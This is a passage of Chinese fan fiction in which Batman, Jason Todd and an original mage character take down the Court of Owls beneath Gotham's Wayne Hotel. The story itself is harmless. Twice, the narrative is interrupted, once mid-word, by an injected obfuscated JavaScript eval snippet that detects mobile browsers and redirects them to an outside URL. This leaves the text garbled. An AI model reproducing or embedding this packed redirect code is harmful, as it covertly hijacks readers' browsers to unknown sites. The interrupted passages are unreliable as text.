蝙蝠侠已经找到路了,他们只是跟着走出来而已。 回到公墓地面的时候,天快亮了。 东边的天际线泛着一层灰白色的光,把墓碑的影子拉得很长。蝙蝠侠靠在家族墓室的石墙上,达米安站在他旁边,手还扶着他的胳膊。杰森把枪收起来,站在几步之外,双臂抱在胸前,看着蝙蝠侠。 卡伦蹲在墓碑旁边,把感知网收回来。左肩的伤口又开始渗血了,他能感觉到温热的液体顺着绷带往下淌。但他没吭声。 蝙蝠侠开口了。“你知道猫头鹰法庭的总部在哪吗?”他看着卡伦。 卡伦愣了一下,原来蝙蝠侠不是work alone吗? “不知道,但我知道怎么找。” 蝙蝠侠等着他往下说。 “琥珀金的矿脉有流向。”卡伦说,“像河流都往一个方向汇聚,迷宫里那些矿脉的流动方向是朝东北方向的,大概在哥谭大学地下。”他顿了顿。“更深的地方——比迷宫还深。” 蝙蝠侠沉默了一会儿。 卡伦知道的还真不少,魔法师版Google吗?(类似美国版的百度) “还有吗?” “利爪的休眠棺材。”卡伦从外套内侧的口袋里掏出那个U盘,扔给蝙蝠侠。 “里面有七个利爪的追踪数据。它们被唤醒和回收的路径都指向同一个区域,哥谭大学地下。” 蝙蝠侠接住U盘,他看着卡伦。 卡伦还以为他要说谢谢。 他没说。 他转头看着杰森。“联系提姆,让他查哥谭大学地下管网图纸。近一百年的改动记录都要。” 杰森点头,掏出手机走到一边去了。 蝙蝠侠又转头看着达米安。“回庄园,把蝙蝠洞的主屏幕打开。” 达米安点头,扶着蝙蝠侠站起来。 蝙蝠侠走了两步,停下来,回头看着卡伦。卡伦还蹲在墓碑旁边,兜帽拉下来了,头发披在肩膀上,脸色很差。 “你的伤,”蝙蝠侠说,“找Leslie看一下。” 卡伦张了张嘴想说“皮外伤”,但蝙蝠侠已经转身走了。 ——— 2 接下来的三天,蝙蝠侠没合过眼,连带着提姆也增加了咖啡摄入量。 收获了阿福不赞同的眼神×2。 但这也没办法,猫头鹰法庭随时可能撤离,他在迷宫里待了两天,不是白待的。 他记住了每一条通道的走向、每一个节点的位置、每一处琥珀金矿脉的密度变化。他把那些数据和卡伦的追踪数据叠在一起,在蝙蝠洞的主屏幕上拼出了一张完整的哥谭地下网络图。 图的中心在哥谭大学地下三百米处。 那不是天然洞穴,是人工开凿的空间。 艾伦·韦恩当年的建筑图纸里没有这一层,市政厅的档案里没有,连提姆黑进去的卫星地图上都看不见。但所有的线都指向那里——琥珀金的流向,利爪的路径,迷宫的对称轴。 提姆在咖啡机旁边住了三天。芭芭拉黑进了哥谭大学的监控系统,把过去十年的安保记录翻了个遍。迪克从布鲁德海文赶回来了,坐在蝙蝠洞的角落里翻法庭成员的可能名单。 杰森没去蝙蝠洞,他去了诊所。 第三天晚上,蝙蝠洞的主屏幕上整理出了一份名单。 他们用了一组很简单的逻辑:猫头鹰法庭的成员必须是哥谭最古老、最富有的家族后代。 那群猫头鹰必须有足够的资源来维持琥珀金的开采和利爪的培养,他们必须能接触到市政厅的地下管网图纸。 符合这三个条件的人,在哥谭不超过二十个。蝙蝠侠把那二十个人的名字一个一个打在屏幕上,然后一个一个排除。排除到最后,剩下十一个。 他把那十一个名字圈起来,转头看着提姆。“监控这十一个人。电话,邮件,银行流水,出行记录。任何异常都记下来。” 提姆端着咖啡杯,看了一眼屏幕上的名单。“还有那个你挺看好的市长?” 蝙蝠侠没回答。 提姆喝了一口咖啡。“行。” ——— 3 第四天,蝙蝠侠用两个联盟之间的加密通道联系了钢铁侠。 托尼·斯塔克的脸出现在蝙蝠洞的主屏幕上,背景是他的实验室,几乎永远亮着灯,不知道是白天还是黑夜,反正他的眼睛底下挂着两个很深的黑眼圈。 “布鲁斯·韦恩,”托尼说,“难得,你一般是发邮件的。出什么事了?” “猫头鹰法庭。”蝙蝠侠说。 托尼挑眉。“哥谭那个吓唬小孩的传说?原来是真的吗?” 蝙蝠侠没有回答这个传说的话题,一开始就连他也以为那是传说来着。 “不止哥谭,纽约也有。” 托尼的表情变了,露出一个仿佛被油腻大叔冒犯的表情。“纽约?” “艾伦·韦恩当年建造的建筑不止在哥谭。纽约的部分大厦,韦恩基金会纽约分部的办公楼,还有几栋他名下但现在已经不属于韦恩集团的建筑,都发现了琥珀金的矿脉。” 托尼沉默了三秒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444132|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是说,在我的城市里,有一群穿着猫头鹰睡衣的变态,在我不知道的情况下,搞了一个地下帝国?” 蝙蝠侠没纠正他的用词。“是。” 托尼又沉默了三秒。 “已经有个麻烦的九头蛇了。九头蛇,你听说过吗?砍掉一个头长出两个。现在你告诉我还有猫头鹰?猫头鹰砍掉头会长出什么?更大的猫头鹰?” 蝙蝠侠无言地看着他。 托尼深吸一口气。 “坐标发给我,纽约的我来处理。” 蝙蝠侠把坐标发了过去。托尼看了眼,哼了一声。 “你家的楼。” 他关掉了通讯。 蝙蝠侠站在主屏幕前,看着托尼的脸消失在画面里,然后他转头看着提姆。“纽约的‘变态’有人处理了,我们专心哥谭的。” 提姆端着咖啡杯,原本思绪正在九霄云外,闻言惊奇地看了他一眼。 “等等,你刚才是不是说了‘变态’?” 蝙蝠侠没回答。 ——— 4 第五天,提姆在蝙蝠洞的主屏幕上调出了一份会议记录,是芭芭拉从市政厅的公共档案里挖出来的——哥谭历史保护协会的年度会议纪要,1963年。 参会人员名单里有十一个人的名字。 和蝙蝠侠推出来的那十一个,一模一样。 蝙蝠侠站在屏幕前,看着那十一个名字。 最上面一个是林肯·马奇。 不,不是林肯,是小托马斯·韦恩。如果他真的是的话。 蝙蝠侠把那个名字圈起来,在底下画了一条红线。 “他们下周有一个聚会。”芭芭拉的声音从通讯器里传出来。“哥谭历史保护协会的年度晚宴,在韦恩酒店。” 她顿了顿。 “你猜谁是被邀请的荣誉嘉宾?” 蝙蝠侠看着屏幕上的邀请函。上面印着他的名字。 布鲁斯·韦恩,荣誉嘉宾。 不得不说,这群猫头鹰还挺胆大的,或者说,狂妄? 他想起林肯·马奇在宴会上说“你先待着,我很快回来”。他想起那天晚上利爪站在楼顶边缘往下看,艾伦·韦恩藏在墙壁上的第十三座猫头鹰石像。 “我会去的。”蝙蝠侠说。 阿尔弗雷德端着茶盘从楼梯上走下来,把一杯茶放在蝙蝠侠手边。然后他看了一眼屏幕上那十一个名字,又看了一眼那个被圈起来的“小托马斯·韦恩”。 “老爷,”阿尔弗雷德说,“我记得您上次说,家里的孩子已经够多了。” 蝙蝠侠没说话。 哪怕他真的是小托马斯,和孩子这个词恐怕也扯不上任何关系了。 阿尔弗雷德端起茶盘,往楼梯走。走了两步,停下来。 “再多一个,韦恩庄园的走廊恐怕要改编号了。” 像宾馆那样吗? 蝙蝠侠端起茶杯,提姆在角落里笑出了声。 36. 第三十六章 1 从公墓出来后,蝙蝠侠和达米安上了一辆车,尾灯在晨雾里闪了两下,消失在街角。 杰森没跟他们一起走,他站在公墓的铁门前,双手插在口袋里,看着那辆车的尾灯呼啸着远去,消失在视线里。 卡伦站在他旁边, 这时他的兜帽已经拉下来了,头发披在肩膀上,脸色好了一点,但还是难掩苍白。 他等了几秒,确认杰森没有要走的意思,但又不死心的多等了几秒。 杰森还是没走。 好吧,看来是逃不过被秋后算账了。 卡伦摆烂了。 就这样吧,难道杰森还真能像质问一个渣男一样质问他“你为什么要抛弃我”吗?这种OOC的话真的会让他笑出来的。 他转身往东区走,杰森跟上来。走在他左边,和他并排。他们的肩膀挨得很近,卡伦主动向旁边避了一下,保持着大概半米的距离。 卡伦虽然摆烂了,但这种刀已经架在脖子上的情景,还是让他的脑子忍不住的转起来。 为什么跟着我?也不是很顺路吧?是想问猫头鹰的事?在路上的时候就能问,没必要跟着走回去吧。 总不能是担心他的伤吧,他觉得他们这种人受伤已经是家常便饭的事情了? 卡伦想了一路。从公墓到东区,二十分钟的路程,他把杰森跟着他的可能性在脑子里过了一遍。再怎么安慰自己,内心其实都还是有些七上八下的。 但他也没开口问。朋友之间顺路走一段很正常,去朋友家做个客也很正常。他找不到理由让杰森别跟着。 也不想找。 杰森走在左边,没说话。卡伦的余光扫到他的手——插在口袋里,肩膀微微前倾,走路的姿势很放松。 但他的眼睛始终是警惕的。 利爪还在外面,法庭还没崩塌,而他们刚从迷宫里像童话里的王子从天而降救出蝙蝠侠,多么亮眼,除非法庭瞎了,否则不可能不知道。 杰森大概只是在送他回去吧。 ——— 2 安全屋还是之前那个,东区一栋高层公寓的顶楼。 卡伦走进去,杰森跟进来。 门关上了。 灯没开,窗帘是拉死的,三层遮光布,白天和黑夜在这里没有任何区别。 唯一的光源是墙角那枚黄色的魔法石——他专门放在那里当小夜灯的。光很弱,只能照出一小片暖黄色的圆,把茶几的边缘和沙发的一角镀上一层淡淡的金。 卡伦还没来得及转身。 一只手按上了他的左肩。力道不大,但不容反抗,五指张开,虎口卡在他肩窝的位置,刚好避开了伤口。 掌心很热,隔着卫衣的布料都能感觉到那温度。卡伦的脚步乱了,被那股力道带着往后退了一步。 后背撞上了墙,他闷哼一声。 他还没来得及站稳,另一只手已经撑在了他右耳边。 手指修长,指节分明,指腹压在墙纸上,因为用力而微微泛白。他刚想往左边微微躲开,杰森的另一只手臂就又放了上来,撑在他耳侧,把整个人框在里面。 距离太近了。 近到卡伦能闻见他身上的味道——硝烟、血腥、还有洗衣液的皂香,混在一起,像哥谭冬夜的风。近到他能感觉到杰森的体温从四面八方涌过来,像一张无形的网,把他整个人罩住了。 卡伦的后脑勺贴着墙,不敢动。 倒不是因为害怕,只是他不知道手该放哪。 这个距离对于他们的关系来说也太,不对劲了。 那他现在应该推开他? 卡伦的手指在身侧蜷了蜷,又松开了。 杰森低着头看他。 蓝绿色的眼睛被昏黄的灯光微微点亮,在卡伦眼里不亚于魅惑人心的海妖。 卡伦被那双眼睛钉在墙上,动不了了。 脑子里的指令传不到四肢,他的大脑在说“你倒是说句话”,但他的嘴唇黏在一起,喉咙里像塞了一团棉花。 他的喉结上下滚了一下,杰森的目光跟着那一下移动,停在他的脖子上。 ——卡伦不知道自己为什么在这种时候还能注意到这种事,他的大脑一定坏了。 “你之前怎么说的?”杰森的声音很低,甚至不像质问,只是一阵阵嗡鸣声从他的胸腔里传出来,“有架一起打,不对我隐瞒你要做的事。” 卡伦张了张嘴,没发出声音。 他盯着杰森锁骨的位置——他不敢看他的眼睛。杰森穿了一件黑色的T恤,领口有些松,锁骨下面有一小块皮肤露出来。卡伦盯着那一小块皮肤,觉得自己的心跳快得不像话。 杰森等了几秒。他的呼吸很稳,和卡伦有些凌乱的气息形成了鲜明的对比。 他的手臂还撑在墙上,没有收回来。他的身体还挡在卡伦面前,没有退开。他的目光还落在卡伦脸上,没有移开。 “说话。”杰森说。声音又低了一点,像从胸腔里挤出来的。 卡伦的手指在身侧攥住了裤缝。指甲陷进掌心里,用疼痛逼迫自己冷静。他深吸了一口气,又吐出来。 “对不起。”他说。声音比他预想的要小,仿佛被人掐住了喉咙。 杰森没动。 卡伦把目光从杰森的锁骨上移开,侧过脸,看着旁边那面墙。墙纸上有一小块灰色的污渍,不知道什么时候弄的。 他盯着那块污渍,把眼眶里那点烫意压下去。不能哭,太丢人了。他好像在杰森面前丢过很多次人,但这次不一样。 “对不起。”他重复了一遍。声音沙哑,尾音带着一点颤,像琴弦被拨动之后还没停稳的余震。 杰森的手臂动了一下,往他靠近了一点。小臂贴上了卡伦的肩膀,隔着卫衣的布料,能感觉到那上面的温度。卡伦的呼吸停了一拍。 他不敢侧头。因为如果他侧头,他的嘴唇会擦过杰森的手臂。他只是盯着那块墙纸上的污渍,把呼吸压得又轻又慢。 杰森的一只手从墙上收回来。 卡伦还来得及跑,那只手已经落在他身上,指尖微凉,指腹有一层薄薄的茧,扣住他的下颌,把他的脸转了回来。 卡伦的视线被迫从墙纸上移到杰森的脸上。太近了。近到他能看清杰森瞳孔里自己的倒影。 他不敢看清自己现在的姿态,总之狼狈得不像话。 他脖子上有道还没消掉的淤青,原本被领口遮住,但卫衣的领口滑下来了。杰森盯着那道淤青,瞳孔缩了一下。 卡伦看见了他的表情变化。那一瞬间,杰森脸上的所有表情都消失了。 卡伦的心几乎要跳出来,杰森反应过来,别开了目光。 “对不起。”他又说了一遍。第三遍。带着一种叹息,尾音却沉甸甸的往下坠。 杰森的拳头攥得更紧了。他的嘴唇动了一下,像是想说什么,但没说出来。他松开了拳头。手指一根一根地张开,像一扇被缓缓推开的门。 卡伦不知道自己是怎么动的。 他的身体比大脑快,额头抵上了杰森的肩膀,手指攥住了杰森后背的衣服,他的脸埋进杰森的颈窝里。鼻尖碰到杰森的锁骨,能感觉到那下面有脉搏在跳。很快,几乎和他的心跳同频。 一个拥抱。 杰森的身体僵了一下,然后那双手臂收回来了。一只手落在卡伦的后脑勺上,手指插进他的头发里。一只手落在他后背上,掌心贴着他的肩胛骨。掌心的温度透过卫衣的布料渗进来,暖得他眼眶发烫。 杰森几乎把他整个人圈进怀里,他的下巴微微抬起,抵在卡伦的头顶上,呼吸吹过他的发丝,任凭卡伦埋在他的颈窝里。 杰森的手在他的后脑勺上停了一会儿。然后慢慢地、不太熟练地,顺着头发往下摸了一下。像在安抚一只炸了毛的猫,又摸了一下。 卡伦的眼眶烫得受不了了。鼻尖酸涩,他咬着牙,把那点烫意往下压。 那只手从卡伦的头发上滑下来,落在他后颈上。 “行了。”杰森的声音从头顶传下来,“我也不是怪你。” 其实还是有一点。 卡伦把脸往他脖子里埋了埋。 “我就是有点担心。”杰森说。他的手在卡伦的后背上拍了一下,像哄小孩。“下回你再当逃犯,可以考虑把我带上,OK?” 卡伦没回答。 他的眼泪终于掉下来了。 没有抽泣,没有呜咽,只有液体安静地从眼角溢出来,顺着鼻梁滑下去,落在杰森的衣领上。一滴,又一滴,洇湿了一小块布料。 他很久没有哭过,他也不知道为什么,他只是,走了很远,路途中总是不免伤痛。 所以在喜欢的人面前,在昏黄的灯光下,积攒的泪水终于还是溢出来了。 杰森没再说话,他的手在卡伦的后背上一下一下地拍。不急不慢,像在哄一个做了噩梦的孩子。他能感觉到卡伦的睫毛扫过他的锁骨,能感觉到那些眼泪顺着他的衣领往下淌。 卡伦甚至称不上在哭泣,他只是在流泪,像一尊雨中的雕像。 杰森不知道为什么没有松手,大概是他的手不听使唤。 怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444133|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中那具温热的躯体牵动着他的情绪,他有点舍不得结束这个拥抱。 杰森的手在卡伦的后背上停了一下。他没有推开卡伦,他不想推开卡伦。这个念头比他预想的要清晰,清晰到他没办法假装没看见。 卡伦哭了大概三十秒,然后他意识到自己在干什么。 迟来的尴尬终于追上了他。 他应该松手,应该退后,应该说“不好意思,刚才失态了”。 应该假装什么都没发生过。 但杰森的手还在他后背上一下一下地拍着,没有要停的意思。 卡伦把脸从他脖子里抬起来一点,闷声说了一句。“伤口好痛。” 声音是哑的,带着哭腔,尾音往上翘,像在撒娇。他恨自己用这种语气说话,但他现在控制不了。 杰森顿了顿,叹了口气。 “谁让你天天自己一个人行动。” 他的声音很轻,没有什么攻击性,把手从卡伦后背上收回来,退后一步,低头看了他一眼。 “坐下。我给你看看。” 他转身走到沙发旁边,把医疗箱从茶几底下拖出来,打开。他坐在沙发上,拍了拍旁边的位置。 卡伦走过去,坐下。两个人之间隔了一个拳头的距离。 杰森把医疗箱里的东西翻出来——纱布、碘伏、棉签、医用胶带。他的动作很利落,和刚才判若两人。好像刚才那个把卡伦按在墙上的人不是他,刚才那个抱着他拍后背的人也不是他。 “衣服脱了。”杰森说。 卡伦把领口划开,往下拉了拉,露出左肩上的绷带。杰森伸手把绷带揭开。他的动作很轻,揭开绷带的时候没有扯到伤口。 杰森的睫毛垂着,在眼睛底下投了一小片扇形的阴影,在并不明亮的灯光下,优越的脸部轮廓一览无余。 卡伦把目光移开,盯着墙角那枚魔法石。它在一明一灭地发光,像一颗很小很小的、还活着的星星。他盯着那颗星星,把脑子里那些乱七八糟的念头一个一个按下去。 杰森低着头处理伤口,没有看见卡伦的神色。但他的注意力全在卡伦身上。在卡伦每一次呼吸的节奏里,在他每一次缩肩膀的幅度里,在他膝盖上那两根攥紧又松开的手指里。 杰森把棉签扔了,换了一块纱布。他的动作慢下来了。卡伦坐在他旁边,安静地、不设防地、不躲不闪地,让他处理伤口,暴露出自己难得的脆弱。 他甚至不想让这一刻结束。 “缝得不错。”杰森说。 “我自己缝的。” 杰森哑然,没有接话。从医疗箱里拿出碘伏和棉签,蘸了碘伏,按在伤口边缘。碘伏渗进伤口里,刺刺地疼。 卡伦的肩膀缩了一下。 “疼?” “不疼。” 纯嘴硬。 杰森又按了一下,比刚才重。卡伦没缩,但他的手指在膝盖上攥了一下。 杰森看见了。他的目光从卡伦的伤口上移开,落在卡伦的脸上。卡伦没看他,盯着墙角那枚魔法石。他的侧脸在暖黄色的光里难得的柔软下来,不再总是透着机械的冰冷感。杰森盯着他的侧脸,心跳漏了一拍。 他把纱布盖在伤口上,用医用胶带固定好。然后把卡伦的领口拉上来。 手指不小心碰到了卡伦的脖子。 那一瞬间,杰森的手指停住了,他看着自己的手指贴在卡伦的皮肤上,指腹压着他的颈动脉。他能感觉到那下面血液的流动,温热的,急促的。 他应该把手收回来。 他收得很慢,但还是收了。 “行了。”杰森把医疗箱合上,放回茶几底下。 卡伦把领口拢起来,低着头。“谢谢。” 杰森没回答。他靠进沙发里,仰着头看天花板。一时间屋内安静下来。 卡伦侧头,小心翼翼地看了杰森一眼,又很快把目光收回来,盯着自己膝盖上的手。他把手攥成拳头,压在膝盖上。 过了很久,杰森开口了。“下次。” 卡伦转头看他。杰森没看他,盯着天花板。 “下次你再一个人琢磨点送死的事,”他说,“我就把你绑在诊所里,让你哪儿都去不了。” 卡伦看着他。灯光很暗,那枚黄色的魔法石在墙角发着微弱的光,把杰森的轮廓镀上一层很淡很淡的金色。 “好。”卡伦说。 杰森没再说话。但他也没走。两个人坐在沙发上,肩膀几乎贴在一起,安全屋里很安静。墙角那枚黄色的魔法石在缓慢地脉动,像一颗很小很小的、还活着的星星。 37. 第三十七章 1 蝙蝠洞的主屏幕上,林肯·马奇的DNA比对结果弹出来了。提姆端着咖啡杯站在旁边,看了一眼屏幕,又看了一眼布鲁斯。“所以他是你弟弟吗?” “不是。” 布鲁斯把报告往下拉。基因序列的对比数据一条一条地滚过去,绿色代表匹配,红色代表不匹配。绿色占了大部分——韦恩家族的基因特征很明显,马奇身上确实有。但那不是遗传的。报告最后一页的结论栏里,芭芭拉用红字标注了一行:“DNA样本存在人工编辑痕迹。非自然遗传,后天植入。” 提姆凑过来看了一眼。 “所以他是假的?” 布鲁斯盯着屏幕。“他是法庭从别处找来的孤儿,从小被灌输了‘他是托马斯·韦恩’的记忆。DNA被修改过,让他更像韦恩家族的人。”他停了一下。“但他是假的。” 提姆喝了一口咖啡。“花了几十年养一个假儿子来对付真儿子,法庭还挺有耐心的。” 布鲁斯没说话。 阿尔弗雷德端着茶盘从楼梯上走下来,把一杯茶放在布鲁斯手边。他看了一眼屏幕上那份报告,又看了一眼布鲁斯。 “老爷,需要我准备一间客房吗?” 布鲁斯端起茶杯。“不用。” 阿尔弗雷德点了点头,端着茶盘走了。 看来庄园不会又迎来一个主人了。 虽然现在已经很多。 ——— 2 行动定在两天后。 芭芭拉黑进了林肯·马奇的私人日程表,发现他每周三晚上都会去韦恩酒店顶层的私人包厢。提姆调了酒店过去三个月的监控——每个周三晚上,同一时间,同一楼层,不同的豪车停在地下停车场。车牌号对应的人名,和蝙蝠侠之前推出来的那十一个名字完全吻合。 “他们在那里集会。”蝙蝠侠说。主屏幕上显示着韦恩酒店的楼层结构图,顶层被红圈标注。“周三晚上,十一点。所有人都会到场。” “利爪呢?”杰森问。 “在地下。”卡伦开口了。他站在屏幕旁边,双手插在口袋里,看着那张结构图。“琥珀金的能量集中在酒店正下方三层的位置。棺材是竖着放的,像书架。我上次摸到过那种排列方式。他们在休眠,没有唤醒的迹象。” 说不定猫头鹰法庭是有什么恶趣味的,在酒店下面盖停尸间,曾经的住客知道了会不会闹翻天? 啊,这样说还挺符合酒店的职能的,上面是给活人住的,下面是给,,半死不活的人住的? “能冻住吗?”蝙蝠侠问。 卡伦从口袋里摸出一枚冰蓝色的符石,在指间转了一圈。“专门炼的。琥珀金怕低温,这批符石的制冷量比上次用的高五倍。只要插进棺材的能量输送管道,整个休眠系统就会冻结,非外界唤醒,利爪醒不过来。” 蝙蝠侠点头。“宴会厅交给我,外围交给提姆,地下的利爪交给卡伦。” “我呢?”达米安从训练室走出来,手里还握着刀。 “你跟我进场。” 达米安把刀收回去,看了一眼布鲁斯,又看了一眼屏幕上的名单。“需要我动手吗?” “需要你闭嘴。” 达米安哼了一声,走到角落里擦刀去了。 杰森靠在墙上,双臂抱在胸前,看着屏幕上的行动计划。他的目光从“外围”两个字上扫过去,又扫了一眼卡伦。卡伦没看他,在研究手里的符石。 “你一个人下去?”杰森问。 卡伦抬头。“嗯。” “下面有多少棺材?” “至少四十六个。” “你一个人冻四十六个棺材?” 卡伦把符石收进口袋。“我跑得快。” 杰森盯着他看了两秒。“你上次也说你跑得快。”他的语气很平,像在陈述一个事实。“我有点记不清了,那十一针是缝在狗身上了吗?” 卡伦张了张嘴。他想说“那是意外”,但杰森没给他机会。 “我跟你去。”杰森转头看蝙蝠侠。“地下的利爪需要两个人。” 蝙蝠侠看了他一眼,又看了卡伦一眼。 卡伦的表情很微妙——不是不愿意,是被抓包的那种心虚。像一个人被翻出了旧账,所以他还不了嘴。 “行。”蝙蝠侠说。 杰森已经低头看手机了。卡伦站在他旁边,嘴唇动了一下,没发出声音。 他想说“你不用跟我去”,想说“我能行”,想说“上次真的是意外”。 但他什么都没说出来。因为他看见杰森手机屏幕上是哥谭地下管网的三维模型——他已经在研究了。不是在跟他商量,是在做决定。卡伦把嘴闭上了。 简直像是蝙蝠侠上身了。 那种“我已经预判了你的预判并且提前做好了准备”的笃定,“我不是在跟你商量”的平静,“你上次搞砸了所以这次你得听我的”的理所当然。 父子,真的是父子。卡伦在心里叹了口气。 他看了一眼自己的伤口,愈合得差不多了,但还没拆线。 信用值这东西,在杰森那里大概是负数了。 他把手插进口袋里,摸到那枚冰蓝色的符石。算了,负数就负数吧。反正有人跟着,也不是坏事。 反耳呢,收获一只小浣熊队友是天大的好事才对。 杰森把手机收起来,看了他一眼。“周三晚上,你跟在我后面。” 杰森:魔法师就给我老老实实站在后排。 卡伦:这个时候终于想起来我是魔法师了吗? 思维诡异的同频了呢。 不对,他是个医生啊!(恍然大悟)他应该是个牧师才对!现在为什么这么顺手的做起了突袭的事啊! 不管心思几经波折,卡伦面上还是平静的:“好。” 杰森转身走了。 阿尔弗雷德从楼梯上走下来,手里端着空茶盘。带着点儿感慨的语调,像看着自家叛逆的孩子终于学会合作了。 “杰森少爷很少主动要求跟谁一起行动。” 然后他端着茶盘,不紧不慢地上了楼。卡伦站在蝙蝠洞里,看着阿尔弗雷德的背影消失在楼梯转角。 那句话在他脑子里转了一圈。 杰森少爷很少主动要求跟谁一起行动。他很少主动要求跟谁一起行动。他很少主动要求跟谁一起。他很少主动要求跟谁。 停停停,好霸总文学的话。让他忘了吧。 卡伦把目光移回主屏幕上。杰森的名字写在他名字旁边。两个挨在一起的名字。他把目光移开了。 ——— 3 周三晚上,韦恩酒店。 哥谭的夜风很冷。卡伦蹲在对面大楼的楼顶上,兜帽拉得低低的,头发被风吹到脸上。他把感知网往下探。琥珀金的能量在酒店正下方缓慢地流动,像一条冬眠的蛇。棺材是竖着放的,四十六个,整整齐齐,像图书馆的书架。他摸清了每一条能量输送管道的走向,在心里画了一张图。冰符石的安放位置、触发顺序、撤退路线,全在脑子里过了一遍。 通讯器里传来蝙蝠侠的声音。“各就各位。” 卡伦站起来,把兜帽往下拉了拉。“地下就位。” “外围就位。”提姆的声音。 “东侧就位。”迪克。 “西侧就位。”芭芭拉。 “宴会厅就位。”达米安。 卡伦等了几秒。通讯器里没有杰森的声音。他低头看了一眼自己的脚边——杰森蹲在他旁边,手按在耳麦上,没说话。 布鲁斯的声音再次响起。“行动。” 卡伦从楼顶跳下去。风从耳边呼啸而过,他蹬了一脚墙壁,卸掉下坠的力道,落在酒店后巷的地面上。膝盖弯了一下,像是脚上自带肉垫一样,没发出什么响动。杰森落在他旁边。 两个人一前一后走进消防通道。 楼梯很窄,只能容一个人通过。 不管之前怎么说,卡伦就当忘了,最终还是卡伦走在前面带路,杰森跟在他身后。 脚步声在空荡荡的楼梯间里来回弹,被安全门的橡胶封条压成了闷响。卡伦的感知网一直开着,琥珀金的能量在墙壁里流动,越来越密,越来越强。到地下二层的时候,墙壁上开始出现猫头鹰的浮雕。暗红色的灯光从头顶照下来,把两个人的影子拉得很长。 卡伦停下来。面前是一扇铁门,门缝里渗出一股冷腥味。琥珀金。他把手按在门上,感知了一下。门后面是一个巨大的圆形空间。棺材靠墙码着,从地面一直堆到天花板。四十六个。都在休眠。 “就是这里。”卡伦说。 杰森拔出了枪,卡伦看了他一眼。“用不上,它们醒不了。” “伦尼,你预料错的时候还少吗?。”杰森带着头盔看不清表情,但卡伦猜测他翻了个白眼。 卡伦把嘴闭上了。 他把手按在门锁上,银白色的光丝从指尖渗出来,钻进锁芯。咔嗒一声,门开了。 圆形空间比卡伦预想的还要大。 棺材是琥珀金色的,在暗红色的灯光底下泛着金属的光泽。每一口棺材上都嵌着一块玻璃,能看见里面躺着的人。他们的脸是灰白色的,嘴唇没有颜色,指甲很长。眼睛闭着,简直和死人一模一样。 卡伦走过第一排棺材的时候,放慢了脚步。他看见里面躺着一个年轻人,看起来不到二十岁,脸颊上有一道很长的疤,从颧骨一直延伸到下颌。他穿着黑色的战斗服,双手交叠放在腹部,指甲修剪得很整齐。卡伦盯着那张脸看了两秒。然后他移开目光,继续往前走。 杰森跟在他后面,枪握在手里,没有举起来。他的目光从那些棺材上扫过去。卡伦看见他的手指在枪柄上攥紧了。 等等,卡门突然想起来迪 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卡伦走在前面,脚步很快。不是生气,或者说他现在也不知道他此刻的情绪中生气占了多少,更多的是,有点好笑?杰森在后面,脚步不紧不慢。 卡伦听见他哼了一声,是那种“我知道你在想什么但我懒得拆穿你”的笑。 卡伦把兜帽往下拉了拉,再次加快了脚步。 笑笑笑,你就笑死在这儿吧!! 他们回到地面的时候,宴会厅那边的战斗已经结束了。 卡伦推开消防通道的门,看见走廊里站着几个警察,正在给戴白色猫头鹰面具的人戴手铐。真没想到这群警察面对猫头鹰们这些位高权重的人能行动的这么快,也许是因为韦恩在场吧。 相比之下,韦恩才是哥谭的father 戈登站在电梯口,手里拿着对讲机,看见卡伦和杰森从消防通道出来,点了点头,继续说话。 卡伦穿过走廊,往宴会厅里看了一眼。椅子倒了一地,酒杯碎了几只,红地毯上有几滴暗红色的液体。布鲁斯站在窗边,手里拿着一块手帕在擦指节。达米安站在他旁边,刀已经收到不知道哪里了,表情很平静。 林肯·马奇被两个警察按在地上,手铐已经铐上了。他的白色猫头鹰面具碎成两半,掉在地上。 他的脸上有一道血痕,嘴角破了,但他还在笑。(卡伦:别笑了,你这样有种即视感。)他看着布鲁斯。 “你以为抓了我,法庭就完了?”他的声音很轻,像在说一个秘密。“法庭无处不在,你抓不完的。” 布鲁斯把手帕收进口袋。“也许吧,但你完了。” 其他地方的猫头鹰好不好,你跟复仇者们问去吧。 马奇的笑容僵了一下。警察把他从地上拽起来,推着往电梯走。经过布鲁斯的时候,他停下来。 “你真的不想知道吗?”马奇说。“你父母到底为什么死?” 布鲁斯看着他。那双蓝色的眼睛里没有愤怒,至少表面上没有悲伤,也没有任何多余的东西。 “我父母死于街头犯罪。”布鲁斯说。“你是猫头鹰法庭的成员。你犯下了谋杀、绑架、恐怖袭击等多项罪行。不管你是谁,你都要为这些负责。” 马奇的嘴张了一下,没发出声音。 布鲁斯转身走了,达米安跟上去。马奇被警察推进了电梯。 门关上了。 卡伦站在走廊里,看着电梯门合上,看着马奇的脸消失在门缝后面。那双眼睛中的野心还没有熄灭。 卡伦把目光收回来,转身往消防通道走。杰森跟上他。 两个人一前一后走出韦恩酒店的后门。哥谭的夜风迎面扑来,冷得卡伦眯了一下眼睛。他站在台阶上,看着远处的天际线。灰蒙蒙的,看不见星星。 “结束了?”杰森站在他旁边,双手插在口袋里。 卡伦想了想。“哥谭的事,没有结束。只是这一件结束了。” 杰森没说话。两个人站在台阶上,看着哥谭的夜空。风从他们中间穿过去,冷,但不刺骨。 过了一会儿,杰森转身往巷子里走。“走了。” 卡伦看着他的背影。走了几步,杰森停下来,没回头。 “明天还来。” 